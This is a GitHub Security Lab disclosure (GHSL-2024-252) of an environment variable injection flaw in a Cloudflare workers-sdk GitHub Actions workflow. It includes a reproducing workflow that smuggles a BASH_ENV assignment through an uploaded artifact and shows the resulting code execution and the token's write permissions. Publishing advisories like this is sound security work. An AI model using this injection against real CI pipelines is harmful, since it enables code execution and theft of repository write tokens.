Coordinated Disclosure Timeline

Summary

Cloudflare workers-sdk write-prerelease-comment.yml workflow is vulnerable to environment variable injection which may allow an attacker to leak secrets and gain write access to the repository.

Project

Cloudflare workers-sdk

Tested Version

Latest commit at the time of reporting.

Details

Environment Variable Injection in write-prerelease-comment.yml (GHSL-2024-252)

The write-prerelease-comment.yml workflow is triggered when a workflow called “Create Pull Request Prerelease” finishes.

on:
  workflow_run:
    workflows: ["Create Pull Request Prerelease"]
    types:
      - completed

An attacker may create a pull request that modifies the triggering “Create Pull Request Prerelease” workflow and uploads arbitrary artifacts before triggering the Vulnerable workflow.

The job comment gets executed if github.repository_owner == 'cloudflare' but this condition is always true in the context of a workflow_run triggered workflow since it runs in the context of the default branch so it offers no protection.

jobs:
  comment:
    if: ${{ github.repository_owner == 'cloudflare' }}

The workflow then runs “Put PR and workflow ID on the environment” and then downloads the artifacts from the triggering workflow:

      - name: "Download runtime versions"
        # Regular `actions/download-artifact` doesn't support downloading
        # artifacts from another workflow
        uses: dawidd6/action-download-artifact@v2
        with:
          run_id: ${{ github.event.workflow_run.id }}
          name: runtime-versions.md

      - name: "Put runtime versions on the environment"
        id: runtime_versions
        run: |
          {
            echo 'RUNTIME_VERSIONS<<EOF'
            cat runtime-versions.md
            echo EOF
          } >> "$GITHUB_ENV"

Since the contents of the artifact are not validated, an attacker may craft a malicious runtime-versions.md file with multiple lines on it which will be used to set up new environment variables. By injecting a new environment variable called BASH_ENV, an attacker will be able to run arbitrary code when the next run: step triggers.

Steps to reproduce

name: Create Pull Request Prerelease

on:
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - run: |
          cat << 'EOF2' > runtime-versions.md
          FOO
          EOF
          BASH_ENV<<EOF3
          $(id 1>&2)
          EOF3
          DUMMY<<EOF
          DUMMY
          EOF2
      - run: |
          cat runtime-versions.md
      - name: Upload runtime versions
        uses: actions/upload-artifact@v3
        with:
          name: runtime-versions.md
          path: runtime-versions.md
      - run: |
          cat << 'EOF2' > prerelease-report.md
          FOO
          EOF
          BASH_ENV<<EOF3
          $(id 1>&2)
          EOF3
          DUMMY<<EOF
          DUMMY
          EOF2
      - run: |
          cat prerelease-report.md
      - name: Upload runtime versions
        uses: actions/upload-artifact@v3
        with:
          name: prerelease-report.md
          path: prerelease-report.md
uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)

Impact

The workflow runs in the context of a full-write GITHUB_TOKEN token:

https://github.com/cloudflare/workers-sdk/actions/runs/11106549077/job/30855119163

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-252 in any communication regarding this issue.